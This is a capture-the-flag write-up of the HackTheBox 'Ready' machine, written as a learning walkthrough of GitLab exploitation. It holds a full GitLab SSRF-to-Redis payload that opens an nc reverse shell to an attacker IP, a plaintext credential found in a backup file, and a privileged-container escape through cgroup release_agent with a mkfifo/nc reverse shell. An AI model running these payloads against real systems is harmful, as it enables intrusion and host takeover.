Ready [HTB]

Cover Image for Ready [HTB]
Marmeus
Marmeus

Table of Contents

    Introduction

    Ready is a medium Linux Docker GitLab machine from HackTheBox where the attacker will have to exploit a SSRF in order to get a reverse shell, then will have to do some enumeration to get the Docker's root password for a later generation of a file system or produce a command execution in order to get the root flag.

    Enumeration

    As always, let's start finding all opened ports in the machine.

    kali@kali:~$ sudo nmap -sS -p- 10.10.10.220 --open -n -T5 -oN AllPorts.txt
    Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-13 12:25 EST
    Nmap scan report for 10.129.48.170
    Host is up (0.040s latency).
    Not shown: 65533 closed ports
    PORT     STATE SERVICE
    22/tcp   open  ssh
    5080/tcp open  onscreen

    There are just two opened ports. Let's do a deeper about the opened ports.

    kali@kali:~$ sudo nmap -sC -sV -p22,5080 10.129.48.170 -n -oN PortsInDepth.txt
    Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-13 12:27 EST
    Nmap scan report for 10.129.48.170
    Host is up (0.040s latency).
    
    PORT     STATE SERVICE VERSION
    22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
    |   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
    |_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
    5080/tcp open  http    nginx
    | http-robots.txt: 53 disallowed entries (15 shown)
    | / /autocomplete/users /search /api /admin /profile 
    | /dashboard /projects/new /groups/new /groups/*/edit /users /help 
    |_/s/ /snippets/new /snipets/*/edit
    | http-title: Sign in \xC2\xB7 GitLab
    |_Requested resource was http://10.129.48.170:5080/users/sign_in
    |_http-trane-info: Problem with XML parsing of /evox/about
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 14.92 seconds

    The port 5080 seems to be a web server, which turns out to be an Git Lab web page.

    GitLab Sign in

    Creating an account and looking at the GitLab version we can see that it isn't updated.

    GitLab Version

    With a quick search on Google, you can arrive to the following exploit, explained by the famous YouTuber LiveOverflow.

    Explotation

    In order to get a reverse shell, we need to create a new project by importing it using an URL (Create new project/ Import project / Repo by URL). Then, we fill the gaps in the form, adding the following Git repository URL git://[0:0:0:0:0:ffff:127.0.0.1]:6379/test/ssrf.git, as you can see below.

    Gitlab Import project

    After that, we need to intercept the form request using Burpsuite.

    POST /projects HTTP/1.1
    Host: ready.htb:5080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://ready.htb:5080/projects/new
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 400
    Origin: http://ready.htb:5080
    Connection: close
    Cookie: sidebar_collapsed=false; _gitlab_session=d73945cc73bda0271b9d75e319f8070e; event_filter=all
    Upgrade-Insecure-Requests: 1
    
    utf8=%E2%9C%93&authenticity_token=YXEIF0NdJugOlndqsB5w7vjnhUu6DYheLjTniusMFQeqKx3cfqFubJAiBQp70htWf%2FGzSE2o4FMbcY%2BvUPGb4A%3D%3D&project%5Bimport_url%5D=http%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%2Fssrf.git&project%5Bci_cd_only%5D=false&project%5Bname%5D=Exploit&project%5Bnamespace_id%5D=6&project%5Bpath%5D=ssrf&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0
    

    In order to get a the reverse shell we need to encode the following payload like an URL, changing the IP and port where the reverse shell will connect to.

    git://[0:0:0:0:0:ffff:127.0.0.1]:6379/test
     multi
     sadd resque:gitlab:queues system_hook_push
    
     lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| nc -e /bin/bash 10.10.14.147 4444\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
     exec
     exec
     exec
    

    The result is the following.

    git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%0A%20multi%0A%20sadd%20resque%3Agitlab%3Aqueues%20system_hook_push%0A%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem_hook_push%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class_eval%5C%22%2C%5C%22open(%5C%27%7C%20nc%20-e%20%2Fbin%2Fbash%2010.10.14.147%204444%5C%27).read%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system_hook_push%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created_at%5C%22%3A1513714403.8122594%2C%5C%22enqueued_at%5C%22%3A1513714403.8129568%7D%22%0A%20exec%0A%20exec%0A%20exec

    Now we have to overwrite the data in the variable import_url%5D= by the payload we have just created. The resulting request will look like this.

    POST /projects HTTP/1.1
    Host: ready.htb:5080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: http://ready.htb:5080/projects/new
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 400
    Origin: http://ready.htb:5080
    Connection: close
    Cookie: sidebar_collapsed=false; _gitlab_session=d73945cc73bda0271b9d75e319f8070e; event_filter=all
    Upgrade-Insecure-Requests: 1
    
    utf8=%E2%9C%93&authenticity_token=YXEIF0NdJugOlndqsB5w7vjnhUu6DYheLjTniusMFQeqKx3cfqFubJAiBQp70htWf%2FGzSE2o4FMbcY%2BvUPGb4A%3D%3D&project%5Bimport_url%5D=git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%0A%20multi%0A%20sadd%20resque%3Agitlab%3Aqueues%20system_hook_push%0A%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem_hook_push%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class_eval%5C%22%2C%5C%22open(%5C%27%7C%20nc%20-e%20%2Fbin%2Fbash%2010.10.14.147%204444%5C%27).read%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system_hook_push%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created_at%5C%22%3A1513714403.8122594%2C%5C%22enqueued_at%5C%22%3A1513714403.8129568%7D%22%0A%20exec%0A%20exec%0A%20exec&project%5Bci_cd_only%5D=false&project%5Bname%5D=Exploit&project%5Bnamespace_id%5D=6&project%5Bpath%5D=ssrf&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0
    

    Finally, we just have to create a listening port and forward the request in order to get the shell.

    Privilege escalation

    Shell upgrade

    Because the shell isn't tty, we have to upgrade it manually to get it work properly. For that you just need to execute these commands.

    python3 -c "import pty; pty.spawn('/bin/bash')"
    [Ctrl+z]
    stty raw -echo
    fg
    reset
    screen
    export TERM=screen
    export SHELL=/bin/bash

    Enumeration

    Looking for passwords in the /opt/backup directory, we can find a password for an SMTP service.

    git@gitlab:/opt/backup$ grep -iR "password" . 2>/dev/null
    [...]
    ./gitlab.rb:gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
    [...]

    These credential can be used to become root in the Docker container.

    git@gitlab:/opt/backup$ su root
    Password: wW59U!ZKMbG9+*#h
    root@gitlab:/opt/backup# 

    Escaping the container

    Reading the docker-compose.yml we can see that this container has been created setting the privileged flag to true. This means that this container has root capabilities in the host machine, allowing us to access resources which are not accessible in ordinary containers.

    root@gitlab:/opt/backup# cat docker-compose.yml 
    version: '2.4'
    
    services:
      web:
        image: 'gitlab/gitlab-ce:11.4.7-ce.0'
        restart: always
        hostname: 'gitlab.example.com'
        environment:
          GITLAB_OMNIBUS_CONFIG: |
            external_url 'http://172.19.0.2'
            redis['bind']='127.0.0.1'
            redis['port']=6379
            gitlab_rails['initial_root_password']=File.read('/root_pass')
        networks:
          gitlab:
            ipv4_address: 172.19.0.2
        ports:
          - '5080:80'
          #- '127.0.0.1:5080:80'
          #- '127.0.0.1:50443:443'
          #- '127.0.0.1:5022:22'
        volumes:
          - './srv/gitlab/config:/etc/gitlab'
          - './srv/gitlab/logs:/var/log/gitlab'
          - './srv/gitlab/data:/var/opt/gitlab'
          - './root_pass:/root_pass'
        privileged: true
        restart: unless-stopped
        #mem_limit: 1024m
    
    networks:
      gitlab:
        driver: bridge
        ipam:
          config:
            - subnet: 172.19.0.0/16

    There are several ways to get the root flag from despite being in the container, we are gonna cover both.

    Command execution

    Thanks to this post we can find a way to execute commands on the host machine, obtaining the the output of the commands, in our case the cat command. To do so, you only have to execute the following commands.

    mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/xecho 1 > /tmp/cgrp/x/
    echo 1 > /tmp/cgrp/x/notify_on_release
    host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
    echo "$host_path/cmd" > /tmp/cgrp/release_agent
    echo '#!/bin/sh' > /cmd
    echo "cat /root/root.txt > $host_path/output" >> /cmd
    chmod a+x /cmd
    sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
    cat /output

    Furthermore, this exploit can be used to get a reverse shell as the root host.

    mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
    echo 1 > /tmp/cgrp/x/notify_on_release
    host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
    echo "$host_path/cmd" > /tmp/cgrp/release_agent
    echo '#!/bin/sh' > /cmd
    echo "touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.xx 4444 > /tmp/f" >> /cmd
    chmod a+x /cmd
    sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

    Mounting a file system

    The easiest way to get the root flag is by mounting the host file system in a folder we have just created, so we can navigate all over the Linux file system as root. The commands are the following.

    root@gitlab:/opt/backup# fdisk -l 
    ...
    Device        Start      End  Sectors Size Type
    /dev/sda1      2048     4095     2048   1M BIOS boot
    /dev/sda2      4096 37746687 37742592  18G Linux filesystem
    /dev/sda3  37746688 41940991  4194304   2G Linux swap
    root@gitlab:/opt/backup# mkdir /tmp/hostDir/
    root@gitlab:/opt/backup# mount /dev/sda2 /tmp/hostDir/    
    root@gitlab:/opt/backup# cat /tmp/hostDir/root/root.txt 
    b7***************
    root@gitlab:/opt/backup# umount /tmp/hostDir/